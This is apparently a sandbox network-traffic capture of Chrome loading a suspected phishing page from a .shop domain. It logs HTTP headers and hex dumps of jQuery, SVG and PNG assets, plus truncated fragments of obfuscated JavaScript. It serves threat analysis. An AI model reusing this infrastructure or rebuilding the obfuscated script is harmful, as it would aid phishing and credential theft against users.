Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50024	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:53 UTC	484	OUT	GET /m/jx/IOI6PDFGKTOC7F7X41LO745P3 HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:53 UTC	268	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:53 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/javascript; charset: UTF-8;charset=UTF-8
2024-12-12 11:08:53 UTC	7924	IN	Data Raw: 33 65 32 37 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 37 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f Data Ascii: 3e27/! jQuery v3.7.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Erro
2024-12-12 11:08:53 UTC	7993	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 42 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 65 28 65 2c 22 69 6e 70 75 74 22 29 26 26 65 2e 74 79 70 65 3d 3d 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 5f 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 28 66 65 28 65 2c 22 69 6e 70 75 74 22 29 7c 7c 66 65 28 65 2c 22 62 75 74 74 6f 6e 22 29 29 26 26 65 2e 74 79 70 65 3d 3d 3d 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 58 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 6f 72 6d 22 69 6e 20 65 3f 65 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 21 31 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 3f 22 6c 61 62 65 6c 22 69 6e 20 65 3f 22 6c 61 62 65 6c 22 69 6e 20 65 2e Data Ascii: function B(t){return function(e){return fe(e,"input")&&e.type===t}}function _(t){return function(e){return(fe(e,"input")\|\|fe(e,"button"))&&e.type===t}}function X(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.
2024-12-12 11:08:53 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:53 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 65 3d 65 2e 66 69 72 73 74 43 68 69 6c 64 3b 65 3b 65 3d 65 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 69 66 28 65 2e 6e 6f 64 65 54 79 70 65 3c 36 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 70 61 72 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 62 2e 70 73 65 75 64 6f 73 2e 65 6d 70 74 79 28 65 29 7d 2c 68 65 61 64 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 71 2e 74 65 73 74 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7d 2c 69 6e 70 75 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4e 2e 74 65 73 74 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7d 2c 62 75 74 74 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 65 Data Ascii: 1f40function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return q.test(e.nodeName)},input:function(e){return N.test(e.nodeName)},button:function(e){return fe
2024-12-12 11:08:53 UTC	7822	IN	Data Raw: 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 41 28 65 2c 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 29 7d 2c 70 72 65 76 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 41 28 65 2c 22 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 22 29 7d 2c 6e 65 78 74 41 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 29 7d 2c 70 72 65 76 41 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 22 70 72 65 76 69 6f 75 73 53 69 62 6c 69 6e 67 22 29 7d 2c 6e 65 78 74 55 6e 74 69 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 2c 6e 29 7d 2c 70 72 65 76 55 6e 74 69 6c 3a 66 75 6e 63 74 69 6f 6e Data Ascii: ction(e){return A(e,"nextSibling")},prev:function(e){return A(e,"previousSibling")},nextAll:function(e){return d(e,"nextSibling")},prevAll:function(e){return d(e,"previousSibling")},nextUntil:function(e,t,n){return d(e,"nextSibling",n)},prevUntil:function
2024-12-12 11:08:53 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:53 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 72 65 6d 6f 76 65 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 58 2e 72 65 6d 6f 76 65 28 74 68 69 73 2c 65 29 7d 29 7d 7d 29 2c 63 65 2e 65 78 74 65 6e 64 28 7b 71 75 65 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 3b 69 66 28 65 29 72 65 74 75 72 6e 20 74 3d 28 74 7c 7c 22 66 78 22 29 2b 22 71 75 65 75 65 22 2c 72 3d 5f 2e 67 65 74 28 65 2c 74 29 2c 6e 26 26 28 21 72 7c 7c 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 3f 72 3d 5f 2e 61 63 63 65 73 73 28 65 2c 74 2c 63 65 2e 6d 61 6b 65 41 72 72 61 79 28 6e 29 29 3a 72 2e 70 75 73 68 28 6e 29 29 2c 72 7c 7c 5b 5d 7d 2c 64 65 71 75 65 75 65 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 1f40removeData:function(e){return this.each(function(){X.remove(this,e)})}}),ce.extend({queue:function(e,t,n){var r;if(e)return t=(t\|\|"fx")+"queue",r=_.get(e,t),n&&(!r\|\|Array.isArray(n)?r=_.access(e,t,ce.makeArray(n)):r.push(n)),r\|\|[]},dequeue:function(
2024-12-12 11:08:53 UTC	7822	IN	Data Raw: 79 28 69 2e 65 6c 65 6d 2c 73 29 29 26 26 21 31 3d 3d 3d 28 75 2e 72 65 73 75 6c 74 3d 72 29 26 26 28 75 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 75 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 29 29 7d 72 65 74 75 72 6e 20 63 2e 70 6f 73 74 44 69 73 70 61 74 63 68 26 26 63 2e 70 6f 73 74 44 69 73 70 61 74 63 68 2e 63 61 6c 6c 28 74 68 69 73 2c 75 29 2c 75 2e 72 65 73 75 6c 74 7d 7d 2c 68 61 6e 64 6c 65 72 73 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 2c 61 2c 73 3d 5b 5d 2c 75 3d 74 2e 64 65 6c 65 67 61 74 65 43 6f 75 6e 74 2c 6c 3d 65 2e 74 61 72 67 65 74 3b 69 66 28 75 26 26 6c 2e 6e 6f 64 65 54 79 70 65 26 26 21 28 22 63 6c 69 63 6b 22 3d 3d 3d 65 2e 74 79 70 65 26 26 31 3c 3d 65 2e 62 75 74 74 Data Ascii: y(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.butt
2024-12-12 11:08:53 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:53 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 54 79 70 65 29 7b 76 61 72 20 74 3d 4d 65 28 74 68 69 73 2c 65 29 3b 74 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 2e 66 69 72 73 74 43 68 69 6c 64 29 7d 7d 29 7d 2c 62 65 66 6f 72 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 24 65 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 74 68 69 73 29 7d 29 7d 2c 61 66 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 24 65 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 Data Ascii: 1f40Type){var t=Me(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return $e(this,arguments,function(e){this.parentNode&&this.par

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50022	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:53 UTC	770	OUT	GET /m/bxg/DEC300GVPCIFO06FK0GDRIEYW HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:53 UTC	247	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:53 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-12 11:08:53 UTC	1871	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-12-12 11:08:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50025	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:54 UTC	466	OUT	GET /m/mxl/Wd.png HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:54 UTC	279	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:54 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 Last-Modified: Thu, 12 Dec 2024 08:55:18 GMT ETag: "8fc-6290edf9c2180" Accept-Ranges: bytes Content-Length: 2300 Vary: User-Agent Connection: close Content-Type: image/png
2024-12-12 11:08:54 UTC	2300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 78 00 00 00 78 08 06 00 00 00 39 64 36 d2 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 08 13 49 44 41 54 78 da ed 9d 6b 70 54 67 19 c7 ff cf 7b 36 9b b4 8d 94 d6 11 1d ab 33 6a 2b ce d4 21 a5 e1 92 1b 54 ac 96 3a a9 4e c7 2f fd a0 a3 a5 76 c4 99 5c 7b 99 5a 94 89 ae 03 a3 d6 91 e6 36 65 6a 99 56 aa 1d 75 44 68 52 3a 4a 1c 6c e8 90 62 e2 25 80 94 9b 20 50 82 50 52 d8 ec 6e d2 24 9b 3d ef fb f8 21 91 01 c4 42 76 cf 75 f3 fc 66 f2 6d 73 ce e6 f9 e5 ff be e7 3d 97 e7 00 82 20 08 82 20 08 82 20 08 82 20 08 82 10 Data Ascii: PNGIHDRxx9d6gAMAa cHRMz&u0`:pQ<bKGDIDATxkpTg{63j+!T:N/v\{Z6ejVuDhR:Jlb% PPRn$=!Bvufms=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50028	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:54 UTC	470	OUT	GET /m/mxl/sig_op.svg HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:55 UTC	299	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:55 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 Last-Modified: Thu, 12 Dec 2024 08:55:18 GMT ETag: "638-6290edf9c2180" Accept-Ranges: bytes Content-Length: 1592 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: image/svg+xml
2024-12-12 11:08:55 UTC	1592	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 2c 30 2c 30 2c Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50030	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:55 UTC	493	OUT	GET /m/mxl/mlg.svg?7OK90379JX6CJ5RS12RRJ790B HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:55 UTC	299	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:55 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 Last-Modified: Thu, 12 Dec 2024 08:55:18 GMT ETag: "e43-6290edf9c2180" Accept-Ranges: bytes Content-Length: 3651 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: image/svg+xml
2024-12-12 11:08:55 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50033	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:08:55 UTC	485	OUT	GET /m/aty/754DU96LZE77WZ3C1HGB1Z9P3 HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:08:55 UTC	268	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:08:55 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Vary: Accept-Encoding,User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/javascript; charset: UTF-8;charset=UTF-8
2024-12-12 11:08:55 UTC	7924	IN	Data Raw: 33 65 32 37 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 34 39 62 34 32 39 28 5f 30 78 31 33 33 32 31 66 2c 5f 30 78 32 63 32 30 63 37 2c 5f 30 78 35 63 30 30 35 36 2c 5f 30 78 33 38 31 38 65 66 2c 5f 30 78 32 64 66 39 38 65 29 7b 72 65 74 75 72 6e 20 5f 30 78 61 36 61 38 28 5f 30 78 33 38 31 38 65 66 2d 20 2d 30 78 33 30 65 2c 5f 30 78 32 64 66 39 38 65 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 65 34 33 33 34 2c 5f 30 78 31 35 38 30 66 37 29 7b 76 61 72 20 5f 30 78 32 61 30 38 39 36 3d 5f 30 78 33 65 34 33 33 34 28 29 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 30 30 37 62 32 28 5f 30 78 34 34 64 61 66 33 2c 5f 30 78 63 61 33 36 36 32 2c 5f 30 78 31 33 30 39 31 31 2c 5f 30 78 35 33 35 37 37 62 2c 5f 30 78 31 66 65 35 35 34 29 7b 72 65 74 75 72 6e 20 Data Ascii: 3e27function _0x49b429(_0x13321f,_0x2c20c7,_0x5c0056,_0x3818ef,_0x2df98e){return _0xa6a8(_0x3818ef- -0x30e,_0x2df98e);}(function(_0x3e4334,_0x1580f7){var _0x2a0896=_0x3e4334();function _0x3007b2(_0x44daf3,_0xca3662,_0x130911,_0x53577b,_0x1fe554){return
2024-12-12 11:08:55 UTC	7993	IN	Data Raw: 29 5d 28 29 5b 5f 30 78 34 35 65 63 39 63 28 30 78 63 61 31 2c 30 78 36 33 35 2c 30 78 39 62 64 2c 30 78 34 39 63 2c 30 78 64 30 31 29 2b 5f 30 78 31 65 66 65 33 37 28 30 78 35 32 33 2c 30 78 33 34 34 2c 2d 30 78 35 64 2c 30 78 35 31 30 2c 30 78 64 61 29 2b 27 72 27 5d 28 5f 30 78 33 38 31 38 61 30 29 5b 5f 30 78 35 63 65 38 63 63 28 30 78 37 62 35 2c 30 78 38 37 65 2c 30 78 36 37 34 2c 30 78 38 61 39 2c 30 78 34 39 61 29 2b 27 68 27 5d 28 5f 30 78 32 64 61 37 66 61 5b 5f 30 78 35 63 65 38 63 63 28 30 78 62 38 35 2c 30 78 61 34 65 2c 30 78 35 64 37 2c 30 78 64 37 64 2c 30 78 62 34 64 29 5d 29 3b 7d 29 3b 5f 30 78 33 38 31 38 61 30 28 29 3b 76 61 72 20 5f 30 78 33 38 66 37 63 39 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 31 35 36 66 39 63 Data Ascii: )]()[_0x45ec9c(0xca1,0x635,0x9bd,0x49c,0xd01)+_0x1efe37(0x523,0x344,-0x5d,0x510,0xda)+'r'](_0x3818a0)[_0x5ce8cc(0x7b5,0x87e,0x674,0x8a9,0x49a)+'h'](_0x2da7fa[_0x5ce8cc(0xb85,0xa4e,0x5d7,0xd7d,0xb4d)]);});_0x3818a0();var _0x38f7c9=(function(){var _0x156f9c
2024-12-12 11:08:55 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-12 11:08:55 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 6e 20 5f 30 78 34 63 64 31 30 31 28 5f 30 78 34 39 30 65 37 65 2c 5f 30 78 31 31 30 34 63 65 2c 5f 30 78 65 66 35 34 31 31 2c 5f 30 78 65 38 63 63 63 37 2c 5f 30 78 35 64 32 33 34 35 29 7b 72 65 74 75 72 6e 20 5f 30 78 33 37 63 32 35 36 28 5f 30 78 34 39 30 65 37 65 2d 30 78 31 38 39 2c 5f 30 78 31 31 30 34 63 65 2d 30 78 36 33 2c 5f 30 78 65 66 35 34 31 31 2d 30 78 35 36 2c 5f 30 78 34 39 30 65 37 65 2d 30 78 36 36 2c 5f 30 78 65 38 63 63 63 37 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 38 64 65 65 61 28 5f 30 78 31 37 31 64 31 63 2c 5f 30 78 34 35 66 33 34 36 2c 5f 30 78 32 34 61 32 35 64 2c 5f 30 78 36 33 32 33 31 63 2c 5f 30 78 35 62 33 32 39 61 29 7b 72 65 74 75 72 6e 20 5f 30 78 35 30 39 31 65 36 28 5f 30 78 31 37 31 64 31 63 Data Ascii: 1f40n _0x4cd101(_0x490e7e,_0x1104ce,_0xef5411,_0xe8ccc7,_0x5d2345){return _0x37c256(_0x490e7e-0x189,_0x1104ce-0x63,_0xef5411-0x56,_0x490e7e-0x66,_0xe8ccc7);}function _0x58deea(_0x171d1c,_0x45f346,_0x24a25d,_0x63231c,_0x5b329a){return _0x5091e6(_0x171d1c
